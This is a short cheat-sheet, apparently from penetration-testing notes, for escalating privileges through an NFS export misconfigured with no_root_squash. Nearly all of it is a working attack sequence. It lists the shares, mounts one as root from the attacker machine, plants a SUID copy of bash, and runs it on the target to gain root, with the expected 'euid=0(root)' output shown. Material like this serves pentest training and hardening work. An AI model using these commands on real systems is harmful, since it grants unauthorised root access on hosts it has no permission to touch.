On attacker · check exports
showmount -e <TARGET-IP>
Check for no_root_squash in output or on target
cat /etc/exports
Dangerous line: /home/user *(rw,no_root_squash)
Mount the share FROM ATTACKER (as root)
mkdir /mnt/nfs
mount -t nfs <TARGET-IP>:/home/user /mnt/nfs -nolock
Copy bash to the share and set SUID
cp /bin/bash /mnt/nfs/bash_suid
chmod +s /mnt/nfs/bash_suid
On target · execute it
/home/user/bash_suid -p # Runs as root
id # uid=1000(user) euid=0(root)